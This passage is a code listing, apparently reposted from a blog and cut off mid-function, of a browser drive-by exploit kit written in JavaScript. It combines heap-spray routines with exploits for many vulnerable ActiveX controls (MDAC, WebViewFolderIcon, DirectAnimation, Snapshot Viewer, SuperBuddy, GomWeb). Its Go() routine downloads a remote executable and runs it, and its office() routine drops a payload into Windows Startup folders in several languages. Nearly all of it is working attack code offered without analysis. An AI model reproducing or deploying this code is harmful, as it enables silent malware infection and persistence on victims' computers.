ret;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     }catch(e){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      return null;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   var padding = "AAAA";&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   var heapBase = 0x00150000;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   var memo;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   function init(maxAlloc){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    while (4 + padding.length*2 + 2 &amp;lt; 65535)padding += padding;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    memo = new Array();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    flush();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   function flush(){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    delete memo["plunger"];&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    CollectGarbage();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    memo["plunger"] = new Array();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    var bytes = new Array(32, 64, 256, 32768);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    for (var i = 0; i &amp;lt; 6; i++) {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     for(var n = 0; n &amp;lt; 4; n++) {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      var len = memo["plunger"].length;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      eval("memo[\"plunger\"][len] = padding.substr(0, (" + bytes[n] + "-6)/2);");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   function alloc(arg, tag){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    var size;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    size = arg;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    if (size == 32 || size == 64 || size == 256 || size == 32768) {}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    if ( ! memo[tag] )memo[tag] = new Array();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    var len = memo[tag].length;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    memo[tag][len] = padding.substr(0, (arg-6)/2);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   function alloc_str(arg, tag){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    var size;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    size = 4 + arg.length*2 + 2;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    if (size == 32 || size == 64 || size == 256 || size == 32768) {}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    if ( ! memo[tag])memo[tag] = new Array();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    var len = memo[tag].length;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    memo[tag][len] = arg.substr(0, arg.length);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   function free(tag) { &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    delete memo[tag];&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    CollectGarbage();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    flush();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   function CreateO(o,n){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    var r=null;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    try{r=o.CreateObject(n)}catch(e){}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    if(!r){try{r=o.CreateObject(n,"")}catch(e){}}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    if(!r){try{r=o.CreateObject(n,"","")}catch(e){}}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    if(!r){try{r=o.GetObject("",n)}catch(e){}}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    if(!r){try{r=o.GetObject(n,"")}catch(e){}}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    if(!r){try{r=o.GetObject(n)}catch(e){}}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    return(r);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   function Go(a){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    var eurl=url+"&amp;amp;spl=1";&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    var fname="winbQB0sCA.exe";&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    var fso=CreateO(a,"Scripting.FileSystemObject")&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    var sap=CreateO(a,"Shell.Application");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    var x=CreateO(a,"ADODB.Stream");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    var nl=null;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    fname=fso.BuildPath(fso.GetSpecialFolder(2),fname);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    x.Mode=3;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    try{nl=CreateO(a,"Micr"+"osoft.XMLH"+"TTP");nl.open("GET",eurl,false);}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    catch(e){try{nl=CreateO(a,"MSXML2.XMLHTTP");nl.open("GET",eurl,false);}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    catch(e){try{nl=CreateO(a,"MSXML2.ServerXMLHTTP");nl.open("GET",eurl,false);}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    catch(e){try{nl=new XMLHttpRequest();nl.open("GET",eurl,false);}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    catch(e){return 0;}}}}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    x.Type=1;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    nl.send(null);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    rb=nl.responseBody;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    x.Open();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    x.Write(rb);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    x.SaveTofile(fname,2);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    sap.ShellExecute(fname);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    return 1;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   function mdac() {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    var i=0;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    var target=new Array(&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    "BD96C556-65A3-11D0-983A-00C04FC29E36",&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    "BD96C556-65A3-11D0-983A-00C04FC29E30",&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    "AB9BCEDD-EC7E-47E1-9322-D4A210617116",&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    "0006F033-0000-0000-C000-000000000046",&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    "0006F03A-0000-0000-C000-000000000046",&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    "6e32070a-766d-4ee6-879c-dc1fa91d2fc3",&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    "6414512B-B978-451D-A0D8-FCFDF33E833C",&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    "7F5B7F63-F06F-4331-8A26-339E03C0AE3D",&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    "06723E09-F4C2-43c8-8358-09FCD1DB0766",&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    "639F725F-1B2D-4831-A9FD-874847682010",&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    "BA018599-1DB3-44f9-83B4-461454C84BF8",&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    "D0C07D56-7C69-43F1-B4A0-25F5A11FAB19",&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    "E8CCCDDF-CA28-496b-B050-6C07C962476B",null);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    while(target[i]){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     var a=null;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     a=document.createElement("object");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     a.setAttribute("classid","clsid:"+target[i]);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     if(a){try{var b=CreateO(a,"Shell.Application");if(b){Go(a);}}catch(e){}}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     i++;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    return 0;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   function wfi() {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    try{&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     obj=cobj("WebViewFolderIcon.WebViewFolderIcon.1");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     if(obj){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      ms();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      for(var i=0;i&amp;lt;128;i++){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       var wvfio=new ActiveXObject("WebViewFolderIcon.WebViewFolderIcon.1");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       try{wvfio.setSlice(0x7ffffffe,0,0,202116108);}catch(e){}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       var wvfit=new ActiveXObject("WebViewFolderIcon.WebViewFolderIcon.1");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    }catch(e){}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    return 0;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   function com() {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    try{&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     obj=cobj("{EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F}");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     if(obj){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      ms();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      z=Math.ceil(0x0c0c0c0c);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      z=document.scripts[0].createControlRange().length;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    }catch(e){}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    return 0;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   function dani() {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    try{&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     obj=cobj("DirectAnimation.PathControl");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     if(obj){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      ms();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      init();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      var jmpecx = 0x0c0c0c0c;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      var vtable = addr(0x7ceb9090);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      for (var i = 0; i &amp;lt; 124/4; i++)vtable += addr(jmpecx);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      vtable += padding.substr(0, (1008-138)/2);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      var fakeObjPtr = heapBase + 0x688 + ((1008+8)/8)*48;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      var fakeObjChunk = padding.substr(0, (0x200c-4)/2) + addr(fakeObjPtr) + padding.substr(0, 14/2);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      CollectGarbage();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      flush();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      for (var i = 0; i &amp;lt; 100; i++)alloc_str(vtable);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      alloc_str(vtable, "lookaside");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      free("lookaside");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      for (var i = 0; i &amp;lt; 100; i++)alloc(0x2010);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      for (var i = 0; i &amp;lt; 2; i++) {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       alloc_str(fakeObjChunk);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       alloc_str(fakeObjChunk, "freeList");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      alloc_str(fakeObjChunk);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      free("freeList");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      obj.KeyFrame(0x40000801, new Array(1), new Array(1));&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    }catch(e){}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    return 0;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   function office(){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    var dir=new Array(&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    "C:\Documents and Settings\All Users\Start Menu\Programs\StartUp\office.exe",&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    "C:\Documents and Settings\All Users\Menu Iniciar\Programas\Iniciar\office.exe",&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    "C:\Documents and Settings\All Users\Menu Inicio\Programas\Inicio\office.exe",&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    "C:\Documents and Settings\All Users\Kuynnistu-valikko\Ohjelmat\Kuynnistys\office.exe",&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    "C:\Documents and Settings\All Users\Menu Dumarrer\Programmes\Dumarrage\office.exe",&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    "C:\Documents and Settings\All Users\Menuen Start\Programmer\Start\office.exe",&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    "C:\Documents and Settings\All Users\Menu Start\Programma's\Opstarten\office.exe",&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    "C:\Documents and Settings\All Users\Start Menu\Programlar\BASLANGI\office.exe",&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    "C:\Documents and Settings\All Users\Menu Start\Programy\Autostart\office.exe",&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    "C:\Documents and Settings\All Users\Start-meny\Programmer\Oppstart\office.exe",&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    "C:\Documents and Settings\All Users\Start-menyn\Program\Autostart\office.exe",&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    "C:\Documents and Settings\All Users\Menu Avvio\Programmi\Esecuzione automatica\office.exe",&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    "C:\Dokumente und Einstellungen\All Users\Startmenu\Programme\Autostart\office.exe");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    var obj=null;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    obj=cobj("snpvw.Snapshot Viewer Control.1");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    if (obj){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     for(j=0;j&amp;lt;dir.length;j++){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      try{&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       obj.Zoom = 0;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       obj.ShowNavigationButtons = false;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       obj.AllowContextMenu = false;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       obj.SnapshotPath = url+"&amp;amp;opr=1";&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       obj.CompressedPath = dir[j];&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       obj.PrintSnapshot();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      }catch(e){}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    return 0;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   function dl(){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    try{&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     var obj=null;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     obj=cobj("Downloader.DLoader.1");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     if (obj){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      obj.DownloadAndInstall(url);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    }catch(e){}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    return 0;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   function wks(){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    try{&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     var obj=null;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     obj=cobj("{00E1DB59-6EFD-4CE7-8C0A-2DA3BCAAD9C6}");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     if(obj){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      ms();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      var num = 202116108;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      obj.WksPictureInterface = num;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    }catch(e){}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    return 0;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   function ogame(){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    try{&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     var obj=null;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     obj=cobj("{F917534D-535B-416B-8E8F-0C04756C31A8}");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     if(obj){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      ms();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      var buf = "";&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      while (buf.length &amp;lt; 600) buf += "\x0c\x0c\x0c\x0c";&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      obj.IEStartNative(buf);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    }catch(e){}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    return 0;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   function ca(){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    try{&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     var obj=null;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     obj=cobj("{BF6EFFF3-4558-4C4C-ADAF-A87891C5F3A3}");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     if (obj.AddColumn) {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      ms();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      var buf = addr(0x0c0c0c0c);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      while(buf.length &amp;lt; 128)buf += buf;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      buf = buf.substring(0, 128);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      obj.AddColumn(buf,1);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    }catch(e){}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    return 0;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   function buddy(){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    try {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     var obj=null;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     obj = cobj("Sb.SuperBuddy");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     if (obj) {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      ms();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      obj.LinkSBIcons(0x0c0c0c0c);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    } catch(e){}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    return 0;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   function gomweb(){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    try {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     var obj=null;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     obj = cobj("GomWebCtrl.GomManager.1");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     if (obj) {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      ms();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      var buf="AAAA";&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      while (buf.length &amp;lt; 506) buf += buf;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      buf = buf.substring(0,506);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      buf += addr(0x0c0c0c0c);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      obj.OpenURL(buf);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    } catch(e){}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    return 0;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   function xmlcore(){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    try {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     var xml = null;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     var xml = cobj("Msxml2.XMLHTTP.6.0");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     if (xml){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      xml = cobj("Msxml2.XMLHTTP.4.0");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     if(!xml)return 0;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     var obj=null;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     obj = 